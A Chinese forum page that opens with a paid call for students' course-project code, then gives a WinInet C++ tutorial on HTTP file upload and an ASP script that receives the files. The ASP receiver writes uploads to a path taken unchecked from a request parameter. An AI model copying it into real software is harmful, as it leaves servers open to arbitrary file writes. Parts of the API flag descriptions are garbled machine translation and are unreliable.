    在校或者已毕业的计算机相关专业大学生,院校不限
    奖励方式
    资源上传并审核通过后,根据资源质量,奖励每贴 10 - 100 元人民币(仅支持支付宝支付)
    上传流程
    会员登录自己的账号上传资源
    资源上传后,管理员会在 24 小时之内审核资源
    审核通过后,管理员会主动站内私信获取支付宝帐号,并立即发放奖金至所提供的支付宝账户

    审核重点
    重点审核资源是否具有详细的文档和完整的源代码
    审查资源是否原创,切勿重复提交

    资源要求“众源计划”仅对两类资源进行有偿征集,分别是“课内资源”和“课外资源”,各类资源具体要求如下所示。

    课内资源

    内容范围:计算机相关专业课内的毕业设计、课程设计、小学期、大作业等课程内开发的程序,程序包括游戏、PC程序、APP、网站或者其他软件形式
    内容要求:资源必须要包括完整的程序源代码和详细的开发文档或报告
    具体“课内资源”征集程序列表见附录一

    课外资源

    内容范围:计算机相关专业的课外自己主导研究游戏、项目、竞赛、个人研究等,区别于课程设计和毕业设计等课内资源
    内容要求:资源必须要包括完整的程序源代码和详细的开发文档或报告
    具体“课外资源”征集程序列表见附录二


    附录一注意:“众源计划”的题目范围包括且不限于以下题目

    汇编语言课程设计题目列表

    屏幕保护程序分类统计字符个数计算机钢琴程序字符图形程序音乐盒程序电子闹钟程序俄罗斯方块打字游戏图形变换程序吃豆子程序其他
    C语言课程设计题目列表

    学生成绩管理系统图书信息管理系统设计销售管理管理系统飞机订票管理系统教师评价系统学校运动会管理系统文本文件加密技术英语字典电话簿管理系统流星雨的实现其他
    C++语言课程设计题目列表

    学生学籍管理系统高校人员信息管理系统学生成绩管理系统车辆管理系统职工工作量统计系统学生考勤管理系统单项选择题标准化考试系统图书管理系统超市商品管理系统模拟ATM机存取款管理系统其他
    JAVA语言课程设计题目列表

    简单投票管理系统数学练习题目自动生成系统华容道小游戏电子英汉词典加密与解密标准化考试系统排球比赛计分系统学籍管理系统绘图系统图书信息管理系统其他
    C#语言课程设计题目列表

    学生信息管理系统学生综合测评系统图书管理系统学校运动会管理系统个人通讯录管理系统教师工资管理系统教师工作量管理系统趣味小游戏物资库存管理系统图形图像处理系统其他
    JSP语言课程设计题目列表

    微博系统基于web的学生信息管理系统在线计算机等级考试报名系统在线问卷调查系统网上销售系统论坛系统图书借阅管理系统网上购物系统工资管理系统酒店管理系统其他
    数据结构与算法课程设计题目列表

    设计哈希表实现电话号码查询系统电报压缩/解压缩系统电费核算系统机房计费管理系统公交线路查询系统用二叉平衡树实现图书管理系统运动会赛事安排动态表达式求值用线性结构实现学生成绩管理求解迷宫问题其他
    编译原理课程设计题目列表

    First集和Follow集生成算法模拟LL(1)分析过程模拟FirstVT集和LastVT集生成算法模拟算符优先分析表生成模拟算符优先分析过程模拟LR分析过程模拟PL/0语言的词法分析程序C语言的预处理程序自动机的状态转换图表示数组越界检查工具其他
    操作系统课程设计题目列表

    动态分区分配方式的模拟进程调度模拟算法请求调页存储管理方式的模拟P、V操作及进程同步的实现银行家算法SPOOLING假脱机输出的模拟程序文件系统设计动态不等长存储资源分配算法磁盘调度算法处理机调度算法模拟其他
    数据库课程设计题目列表

    高校学籍管理系统在线投稿审稿管理系统产品销售管理系统高校人力资源管理系统高校课程管理系统酒店客房管理系统报刊订阅管理系统医药销售管理系统学生学籍管理系统餐饮管理系统其他
    计算机网络课程设计题目列表

    TCP通信功能实现网络游戏的开发基于UDP协议网上聊天程序Ping 程序的实现数据包的捕获与分析FTP客户端设计包过滤防火墙的设计与实现简单的端口扫描器简单Web服务器的设计与实现HTTP客户端的设计与实现其他
    软件工程课程设计题目列表

    学校教材订购系统网上选课管理系统简易办公系统图书馆管理系统校园交流论坛网站超市收银系统ATM柜员机模拟程序企业办公自动化管理系统学生成绩管理系统进销存管理系统其他
    VC++程序设计课程设计题目列表

    模拟时钟程序单向链表的操作演示程序电影院售票系统俄罗斯方块五子棋24点游戏背单词软件的设计与实现酒店管理系统餐厅就餐管理系统吹泡泡游戏其他
    其他课程设计

    PHP语言课程设计PYTHON语言课程设计计算机图形学课程设计机器学习课程设计密码学课程设计其他

    附录二注意:“众源计划”的题目范围包括且不限于以下题目

    人脸识别系统车牌识别系统旅游自助APP疲劳驾驶识别检测系统考试管理系统WINDOWS驱动级安全防御系统WINDOWS平台逆向调试器坦克大战小游戏情感分析系统人机博弈的国际象棋游戏其他
    最终解释权归 WRITE-BUG技术共享平台 所有
    4 回答 2018-12-20 10:09:45
  • 基于WinInet实现HTTP文件上传

    背景之前写过基于WinInet的HTTP文件下载功能的小程序了,那就顺便把HTTP文件上传也一并写了吧,这样知识才算是比较完整了。相对于文件下载来说,文件上传过程原理也都差不多,只要注意些区别就好了。
    现在,把基于WinInet的HTTP文件上传功能小程序的开发过程分享给大家,方便大家的参考。
    前期准备前期需要本地搭建一个测试环境,本文搭建的是一个本地的ASP网站,同时,使用asp写了一个接收上传数据存储为文件的小程序test1.asp。
    搭建ASP服务器,可以参考本站上别人写的 “使用Windows7旗舰版64位来搭建ASP服务器环境” 这一篇文章,里面详细介绍了搭建过程和注意事项。同时,也可以参考 “修改ASP网站的文件传输大小的默认限制并对限制大小进行探索” 这一篇文章,介绍的是更改ASP网站上传的文件大小的限制。
    搭建测试环境的原因,就是为了测试,才能知道文件有没有成功上传到服务器上。当然,有条件的,也可以自己在公网上搭建服务器,这样测试会更加真实。
    主要函数介绍介绍HTTP上传文件使用到的主要的WinInet库中的API函数。
    1. InternetOpen介绍
    函数声明
    HINTERNET InternetOpen(In LPCTSTR lpszAgent,In DWORD dwAccessType,In LPCTSTR lpszProxyName,In LPCTSTR lpszProxyBypass,In DWORD dwFlags);
    参数lpszAgent指向一个空结束的字符串,该字符串指定调用WinInet函数的应用程序或实体的名称。使用此名称作为用户代理的HTTP协议。dwAccessType指定访问类型,参数可以是下列值之一:



    Value
    Meaning




    INTERNET_OPEN_TYPE_DIRECT
    使用直接连接网络


    INTERNET_OPEN_TYPE_PRECONFIG
    获取代理或直接从注册表中的配置,使用代理连接网络


    INTERNETOPEN_TYPE_PRECONFIG WITH_NO_AUTOPROXY
    获取代理或直接从注册表中的配置,并防止启动Microsoft JScript或Internet设置(INS)文件的使用


    INTERNET_OPEN_TYPE_PROXY
    通过代理的请求,除非代理旁路列表中提供的名称解析绕过代理,在这种情况下,该功能的使用



    lpszProxyName指针指向一个空结束的字符串,该字符串指定的代理服务器的名称,不要使用空字符串;如果dwAccessType未设置为INTERNET_OPEN_TYPE_PROXY,则此参数应该设置为NULL。
    lpszProxyBypass指向一个空结束的字符串,该字符串指定的可选列表的主机名或IP地址。如果dwAccessType未设置为INTERNET_OPEN_TYPE_PROXY的 ,参数省略则为NULL。
    dwFlags参数可以是下列值的组合:



    VALUE
    MEANING




    INTERNET_FLAG_ASYNC
    使异步请求处理的后裔从这个函数返回的句柄


    INTERNET_FLAG_FROM_CACHE
    不进行网络请求,从缓存返回的所有实体,如果请求的项目不在缓存中,则返回一个合适的错误,如ERROR_FILE_NOT_FOUND


    INTERNET_FLAG_OFFLINE
    不进行网络请求,从缓存返回的所有实体,如果请求的项目不在缓存中,则返回一个合适的错误,如ERROR_FILE_NOT_FOUND



    返回值成功:返回一个有效的句柄,该句柄将由应用程序传递给接下来的WinInet函数。失败:返回NULL。

    2. InternetConnect介绍
    函数声明
    HINTERNET WINAPI InternetConnect( HINTERNET hInternet, LPCTSTR lpszServerName, INTERNET_PORT nServerPort, LPCTSTR lpszUserName, LPCTSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD dwContext);
    参数说明hInternet:由InternetOpen返回的句柄。lpszServerName:连接的ip或者主机名nServerPort:连接的端口。lpszUserName:用户名,如无置NULL。lpszPassword:密码,如无置NULL。dwService:使用的服务类型,可以使用以下

    INTERNET_SERVICE_FTP = 1:连接到一个 FTP 服务器上INTERNET_SERVICE_GOPHER = 2INTERNET_SERVICE_HTTP = 3:连接到一个 HTTP 服务器上
    dwFlags:文档传输形式及缓存标记。一般置0。dwContext:当使用回叫信号时, 用来识别应用程序的前后关系。返回值成功返回非0。如果返回0。要InternetCloseHandle释放这个句柄。

    3. HttpOpenRequest介绍
    函数声明
    HINTERNET HttpOpenRequest( _In_ HINTERNET hConnect, _In_ LPCTSTR lpszVerb, _In_ LPCTSTR lpszObjectName, _In_ LPCTSTR lpszVersion, _In_ LPCTSTR lpszReferer, _In_ LPCTSTR *lplpszAcceptTypes, _In_ DWORD dwFlags, _In_ DWORD_PTR dwContext);
    参数
    hConnect:由InternetConnect返回的句柄。
    lpszVerb:一个指向某个包含在请求中要用的动词的字符串指针。如果为NULL,则使用“GET”。
    lpszObjectName:一个指向某个包含特殊动词的目标对象的字符串的指针。通常为文件名称、可执行模块或者查找标识符。
    lpszVersion:一个指向以null结尾的字符串的指针,该字符串包含在请求中使用的HTTP版本,Internet Explorer中的设置将覆盖该参数中指定的值。如果此参数为NULL,则该函数使用1.1或1.0的HTTP版本,这取决于Internet Explorer设置的值。
    lpszReferer:一个指向指定了包含着所需的URL (pstrObjectName)的文档地址(URL)的指针。如果为NULL,则不指定HTTP头。
    lplpszAcceptTypes:一个指向某空终止符的字符串的指针,该字符串表示客户接受的内容类型。如果该字符串为NULL,服务器认为客户接受“text/*”类型的文档 (也就是说,只有纯文本文档,并且不是图片或其它二进制文件)。内容类型与CGI变量CONTENT_TYPE相同,该变量确定了要查询的含有相关信息的数据的类型,如HTTP POST和PUT。
    dwFlags:dwFlags的值可以是下面一个或者多个。



    价值
    说明




    INTERNET_FLAG_DONT_CACHE
    不缓存的数据,在本地或在任何网关。 相同的首选值INTERNET_FLAG_NO_CACHE_WRITE。


    INTERNET_FLAG_EXISTING_CONNECT
    如果可能的话,重用现有的连接到每个服务器请求新的请求而产生的InternetOpenUrl创建一个新的会话。 这个标志是有用的,只有对FTP连接,因为FTP是唯一的协议,通常在同一会议执行多个操作。 在Win 32 API的缓存一个单一的Internet连接句柄为每个HINTERNET处理产生的InternetOpen。


    INTERNET_FLAG -超链接
    强制重载如果没有到期的时间也没有最后修改时间从服务器在决定是否加载该项目从网络返回。


    INTERNET_FLAG_IGNORE_CERT_CN_INVALID
    禁用的Win32上网功能的SSL /厘为基础的打击是从给定的请求服务器返回的主机名称证书检查。 Win32的上网功能用来对付证书由匹配主机名和HTTP请求一个简单的通配符规则比较简单的检查。


    INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
    禁用的Win32上网功能的SSL /厘为基础的HTTP请求适当的日期,证书的有效性检查。


    INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP
    禁用的Win32上网功能能够探测到这种特殊类型的重定向。 当使用此标志,透明的Win32上网功能允许对HTTP重定向的URL从HTTPS。


    INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS
    禁用的Win32上网功能能够探测到这种特殊类型的重定向。 当使用此标志,透明的Win32上网功能允许从HTTP重定向到HTTPS网址。


    INTERNET_FLAG_KEEP_CONNECTION
    使用保持活动语义,如果有的话,给HTTP请求连接。 这个标志是必需的微软网络(MSN),NT LAN管理器(NTLM)和其他类型的身份验证。


    INTERNET_FLAG_MAKE_PERSISTENT
    不再支持。


    INTERNET_FLAG_MUST_CACHE_REQUEST
    导致一个临时文件如果要创建的文件不能被缓存。 相同的首选值INTERNET_FLAG_NEED_FILE。


    INTERNET_FLAG_NEED_FILE
    导致一个临时文件如果要创建的文件不能被缓存。


    INTERNET_FLAG_NO_AUTH
    不尝试HTTP请求身份验证自动。


    INTERNET_FLAG_NO_AUTO_REDIRECT
    不自动处理HTTP请求重定向只。


    INTERNET_FLAG_NO_CACHE_WRITE
    不缓存的数据,在本地或在任何网关。


    INTERNET_FLAG_NO_COOKIES
    不会自动添加Cookie标头的请求,并不会自动添加返回的Cookie的HTTP请求的Cookie数据库。


    INTERNET_FLAG_NO_UI
    禁用cookie的对话框。


    INTERNET_FLAG_PASSIVE
    使用被动FTP语义FTP文件和目录。


    INTERNET_FLAG_RAW_DATA
    返回一个数据WIN32_FIND_DATA结构时,FTP目录检索信息。 如果这个标志,或者未指定代理的电话是通过一个CERN,InternetOpenUrl返回的HTML版本的目录。


    INTERNET_FLAG_PRAGMA_NOCACHE
    强制要求被解决的原始服务器,即使在代理缓存的副本存在。


    INTERNET_FLAG_READ_PREFETCH
    该标志目前已停用。


    INTERNET_FLAG_RELOAD
    从导线获取数据,即使是一个本地缓存。


    INTERNET_FLAG_RESYNCHRONIZE
    重整HTTP资源,如果资源已被修改自上一次被下载。 所有的FTP资源增值。


    INTERNET_FLAG_SECURE
    请确保在使用SSL或PCT线交易。 此标志仅适用于HTTP请求。



    dwContext:OpenRequest操作的上下文标识符。

    4. WinHttpAddRequestHeaders介绍
    函数声明
    BOOL WINAPI WinHttpAddRequestHeaders( In HINTERNET hRequest, In LPCWSTR pwszHeaders, In DWORD dwHeadersLength, In DWORD dwModifiers);
    作用
    添加一个HTTP的请求头域。
    参数

    hRequest [in]一个HINTERNET句柄通过调用WinHttpOpenRequest返回。pwszHeaders [in]请求的头域字符串,每个头域(多个头域以)使用回车换行(\r\n)结束dwHeadersLength [in]无符号长整型变量,指向pwszHeaders的长度,如果该参数为(ulong)-1L时,自动以”/0”结束来计算pwszHeaders的长度。dwModifiers [in]头域的修改模式。包括如下值:WINHTTP_ADDREQ_FLAG_ADD 添加一个头域,如果头域存在时值将被新添加的值替换。与WINHTTP_ADDREQ_FLAG_REPLAC一起使用WINHTTP_ADDREQ_FLAG_ADD_IF_NEW 添加一个不存在头域,如果该头域存在则返回一个错误。WINHTTP_ADDREQ_FLAG_COALESCE 将同名的头域进行合并。WINHTTP_ADDREQ_FLAG_COALESCE_WITH_COMMA 合并同名的头域,值使用逗号隔开。WINHTTP_ADDREQ_FLAG_COALESCE_WITH_SEMICOLON 合并同名的头域,值使用分号隔开。WINHTTP_ADDREQ_FLAG_REPLACE 替换和删除一个头域,如果值为空,则删除,否则被替换。
    返回值
    返回值为假时,使用GetLastError来得到错误信息。err code:ERROR_WINHTTP_INCORRECT_HANDLE_STATE 请求不能被执行,因为句柄的状态不正确ERROR_WINHTTP_INCORRECT_HANDLE_TYPE 请求的句柄类型不正确ERROR_WINHTTP_INTERNAL_ERROR 内部错误ERROR_NOT_ENOUGH_MEMORY 没有足够的内存来完成操作。

    5. InternetWriteFile介绍
    函数声明
    BOOL InternetWriteFile( __in HINTERNET hFile,__out LPVOID lpBuffer,__in DWORD dwNumberOfBytesToRead,__out LPDWORD lpdwNumberOfBytesRead);
    参数

    hFile[in]
    由InternetOpenUrl,FtpOpenFile, 或HttpOpenRequest函数返回的句柄.
    lpBuffer[out]
    缓冲器指针
    dwNumberOfBytesToRead[in]
    欲写入数据的字节量。
    lpdwNumberOfBytesRead[out]
    接收写入字节量的变量。该函数在做任何工作或错误检查之前都设置该值为零

    返回值成功:返回TRUE,失败,返回FALSE

    程序设计原理该部分讲解下程序设计的原理以及实现的流程,让大家有个宏观的认识。原理是:

    首先,使用 InternetCrackUrl 函数分解URL,从URL中提取网站的域名、路径以及URL的附加信息等。关于 InternetCrackUrl 分解URL的介绍和实现,可以参考 “URL分解之InternetCrackUrl” 这篇文章
    使用 InternetOpen 建立会话,获取会话句柄
    使用 InternetConnect 与网站建立连接,获取连接句柄
    设置HTTP的访问标志,使用 HttpOpenRequest 打开HTTP的“POST”请求
    构造请求信息头字符串,并使用 HttpAddRequestHeaders 附加请求信息头
    使用 HttpSendRequestEx发送访问请求
    使用 InternetWriteFile 上传数据
    数据上传完毕之后,使用 HttpEndRequest 函数结束请求
    关闭句柄,释放资源

    其中,需要注意的是第 5 步,这一步是与HTTP文件下载不同的地方,这一步需要构造请求信息头,所以构造请求信息头的字符串的时候,一定要严格按照协议格式去构造。例如回车换行、空格之类的。
    编程实现1. 导入WinInet库#include <WinInet.h>#pragma comment(lib, "WinInet.lib")
    2. HTTP文件上传编程实现// 数据上传// 输入:上传数据的URL路径、上传数据内容、上传数据内容长度BOOL Http_Upload(char *pszUploadUrl, BYTE *pUploadData, DWORD dwUploadDataSize){ // INTERNET_SCHEME_HTTPS、INTERNET_SCHEME_HTTP、INTERNET_SCHEME_FTP等 char szScheme[MAX_PATH] = { 0 }; char szHostName[MAX_PATH] = { 0 }; char szUserName[MAX_PATH] = { 0 }; char szPassword[MAX_PATH] = { 0 }; char szUrlPath[MAX_PATH] = { 0 }; char szExtraInfo[MAX_PATH] = { 0 }; ::RtlZeroMemory(szScheme, MAX_PATH); ::RtlZeroMemory(szHostName, MAX_PATH); ::RtlZeroMemory(szUserName, MAX_PATH); ::RtlZeroMemory(szPassword, MAX_PATH); ::RtlZeroMemory(szUrlPath, MAX_PATH); ::RtlZeroMemory(szExtraInfo, MAX_PATH); // 分解URL if (FALSE == Http_UrlCrack(pszUploadUrl, szScheme, szHostName, szUserName, szPassword, szUrlPath, szExtraInfo, MAX_PATH)) { return FALSE; } // 数据上传 HINTERNET hInternet = NULL; HINTERNET hConnect = NULL; HINTERNET hRequest = NULL; DWORD dwOpenRequestFlags = 0; BOOL bRet = FALSE; DWORD dwRet = 0; unsigned char *pResponseHeaderIInfo = NULL; DWORD dwResponseHeaderIInfoSize = 2048; BYTE *pBuf = NULL; DWORD dwBufSize = 64 * 1024; BYTE *pResponseBodyData = NULL; DWORD dwResponseBodyDataSize = 0; DWORD dwOffset = 0; do { // 建立会话 hInternet = ::InternetOpen("WinInetPost/0.1", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if (NULL == hInternet) { Http_ShowError("InternetOpen"); break; } // 建立连接 hConnect = ::InternetConnect(hInternet, szHostName, INTERNET_DEFAULT_HTTP_PORT, szUserName, szPassword, INTERNET_SERVICE_HTTP, 0, 0); if (NULL == hConnect) { Http_ShowError("InternetConnect"); break; } // 打开并发送HTTP请求 dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI; if (0 < ::lstrlen(szExtraInfo)) { // 注意此处的连接 ::lstrcat(szUrlPath, szExtraInfo); } hRequest = ::HttpOpenRequest(hConnect, "POST", szUrlPath, NULL, NULL, NULL, dwOpenRequestFlags, 0); if (NULL == hRequest) { Http_ShowError("HttpOpenRequest"); break; } // 附加 请求头(可以写也可以不写, 不写的话直接发送数据也可以, 主要是看服务端和客户端的数据传输约定; 批量发送的时候要用到) // 数据边界 char szBoundary[] = "-------------MyUploadBoundary"; char szRequestHeaders[MAX_PATH] = {0}; ::RtlZeroMemory(szRequestHeaders, MAX_PATH); // 构造 请求头数据信息 ::wsprintf(szRequestHeaders, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/xaml+xml,*/*\r\n" "Accept-Encoding: gzip, deflate\r\n" "Accept-Language: zh-cn\r\n" "Content-Type: multipart/form-data; boundary=%s\r\n" "Cache-Control: no-cache\r\n\r\n", szBoundary); bRet = ::HttpAddRequestHeaders(hRequest, szRequestHeaders, ::lstrlen(szRequestHeaders), HTTP_ADDREQ_FLAG_ADD); if (FALSE == bRet) { break; } // 构造将要发送的数据包格式 // 1. 文件数据前缀(可选) char szPreData[1024] = {0}; int iPostValue = 7758; char szUploadFileName[] = "C:\\User\\DemonGan.txt"; ::RtlZeroMemory(szPreData, 1024); ::wsprintf(szPreData, "--%s\r\nContent-Disposition: form-data; name=\"%s\"\r\n\r\n%d\r\n" "--%s\r\nContent-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n" // 二进制数据流 --> (jpg || jpeg file)"Content-Type: image/pjpeg\r\n\r\n" --> // (gif file)"Content-Type: image/gif\r\n\r\n" --> (png file)"Content-Type: image/x-png\r\n\r\n" "Content-Type: application/octet-stream\r\n\r\n", szBoundary, "MyValue", iPostValue, szBoundary, "MyUploadFileName", szUploadFileName); // 2. 上传主体内容数据(可以是多个文件数据, 但是要用 szBoundary 分开) // ----> pUploadData // 3.结束后缀(可选) char szSufData[1024] = {0}; ::RtlZeroMemory(szSufData, 1024); ::wsprintf(szSufData, "\r\n--%s\r\nContent-Disposition: form-data; name=\"%s\"\r\n\r\n%s\r\n--%s--", szBoundary, "MyUploadOver", "OVER", szBoundary); // 计算数据包的大小 = 前缀数据包大小 + 主体数据大小 + 后缀数据包大小 // 并 发送请求, 告诉服务器传输数据的总大小 DWORD dwPostDataSize = ::lstrlen(szPreData) + dwUploadDataSize + ::lstrlen(szSufData);// DWORD dwPostDataSize = dwUploadDataSize; INTERNET_BUFFERS internetBuffers = {0}; ::RtlZeroMemory(&internetBuffers, sizeof(internetBuffers)); internetBuffers.dwStructSize = sizeof(internetBuffers); internetBuffers.dwBufferTotal = dwPostDataSize; bRet = ::HttpSendRequestEx(hRequest, &internetBuffers, NULL, 0, 0); if (FALSE == bRet) { break; } // 发送数据 // 发送前缀数据(可选) bRet = ::InternetWriteFile(hRequest, szPreData, ::lstrlen(szPreData), &dwRet); if (FALSE == bRet) { break; } // 发送主体内容数据 bRet = ::InternetWriteFile(hRequest, pUploadData, dwUploadDataSize, &dwRet); if (FALSE == bRet) { break; } // 发送后缀数据(可选) bRet = ::InternetWriteFile(hRequest, szSufData, ::lstrlen(szSufData), &dwRet); if (FALSE == bRet) { break; } // 发送完毕, 结束请求 bRet = ::HttpEndRequest(hRequest, NULL, 0, 0); if (FALSE == bRet) { break; } // 接收来自服务器响应的数据 // 接收响应的报文信息头(Get Response Header) pResponseHeaderIInfo = new unsigned char[dwResponseHeaderIInfoSize]; if (NULL == pResponseHeaderIInfo) { break; } ::RtlZeroMemory(pResponseHeaderIInfo, dwResponseHeaderIInfoSize); bRet = ::HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, pResponseHeaderIInfo, &dwResponseHeaderIInfoSize, NULL); if (FALSE == bRet) { Http_ShowError("HttpQueryInfo"); break; }#ifdef _DEBUG printf("[HTTP_Upload_ResponseHeaderIInfo]\n\n%s\n\n", pResponseHeaderIInfo);#endif // 从 中字段 "Content-Length: "(注意有个空格) 获取数据长度 bRet = Http_GetContentLength((char *)pResponseHeaderIInfo, &dwResponseBodyDataSize); if (FALSE == bRet) { break; } // 接收报文主体内容(Get Response Body) pBuf = new BYTE[dwBufSize]; if (NULL == pBuf) { break; } pResponseBodyData = new BYTE[dwResponseBodyDataSize]; if (NULL == pResponseBodyData) { break; } ::RtlZeroMemory(pResponseBodyData, dwResponseBodyDataSize); do { ::RtlZeroMemory(pBuf, dwBufSize); bRet = ::InternetReadFile(hRequest, pBuf, dwBufSize, &dwRet); if (FALSE == bRet) { Http_ShowError("InternetReadFile"); break; } ::RtlCopyMemory((pResponseBodyData + dwOffset), pBuf, dwRet); dwOffset = dwOffset + dwRet; } while (dwResponseBodyDataSize > dwOffset); } while (FALSE); // 关闭 释放 if (NULL != pResponseBodyData) { delete[]pResponseBodyData; pResponseBodyData = NULL; } if (NULL != pBuf) { delete[]pBuf; pBuf = NULL; } if (NULL != pResponseHeaderIInfo) { delete[]pResponseHeaderIInfo; pResponseHeaderIInfo = NULL; } if (NULL != hRequest) { ::InternetCloseHandle(hRequest); hRequest = NULL; } if (NULL != hConnect) { ::InternetCloseHandle(hConnect); hConnect = NULL; } if (NULL != hInternet) { ::InternetCloseHandle(hInternet); hInternet = NULL; } return bRet;}
    3. ASP接收文件程序mytest1.asp<%'ASP文件接收程序dim file,obj,fsofile = Trim(Request("file"))If file = "" Then Response.Write "上传错误文件名未指定": Response.EndSet obj = Server.CreateObject("Adodb.Stream")With obj.Type = 1.Mode = 3.Open.Write Request.BinaryRead(Request.TotalBytes).Position = 0.SaveToFile Server.Mappath(file), 2.CloseEnd WithSet obj = NothingSet fso = CreateObject("Scripting.FileSystemObject")If fso.FileExists(Server.Mappath(file)) ThenResponse.Write "上传成功"ElseResponse.Write "上传失败"End IfSet fso = Nothing%>
    程序测试在main函数中,调用上述封装好的函数,上传文件进行测试。
    main函数为:
    int _tmain(int argc, _TCHAR* argv[]){ char szHttpUploadUrl[] = "http://192.168.28.137/mytest1.asp?file=myyyyytestupload1"; char szHttpUploadFileName[] = "C:\\Users\\Desktop\\520.zip"; BYTE *pHttpUploadData = NULL; DWORD dwHttpUploadDataSize = 0; DWORD dwRet = 0; // 打开文件 HANDLE hFile = ::CreateFile(szHttpUploadFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, NULL); if (INVALID_HANDLE_VALUE == hFile) { Http_ShowError("CreateFile"); return 5; } // 获取文件大小 dwHttpUploadDataSize = ::GetFileSize(hFile, NULL); // 读取文件数据 pHttpUploadData = new BYTE[dwHttpUploadDataSize]; ::ReadFile(hFile, pHttpUploadData, dwHttpUploadDataSize, &dwRet, NULL); dwHttpUploadDataSize = dwRet; // 上传数据 if (FALSE == Http_Upload(szHttpUploadUrl, pHttpUploadData, dwHttpUploadDataSize)) { return 1; } // 释放内存 delete []pHttpUploadData; pHttpUploadData = NULL; ::CloseHandle(hFile); system("pause"); return 0;}
    测试结果:
    根据传输返回的Response Header可知,数据上传成功。

    查看ASP服务器目录,成功获取17795KB大小的“mmyyyytestupload1”文件。

    总结相对与HTTP的文件下载,HTTP文件上传需要注意两点。一是要注意HttpOpenRequest 中要打开“POST”请求;二是在构造请求头信息的时候,一定要严格按照协议格式去写,具体格式可以到网上搜索。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2018-12-20 09:23:40
显示 0 到 25 ,共 25 条
eject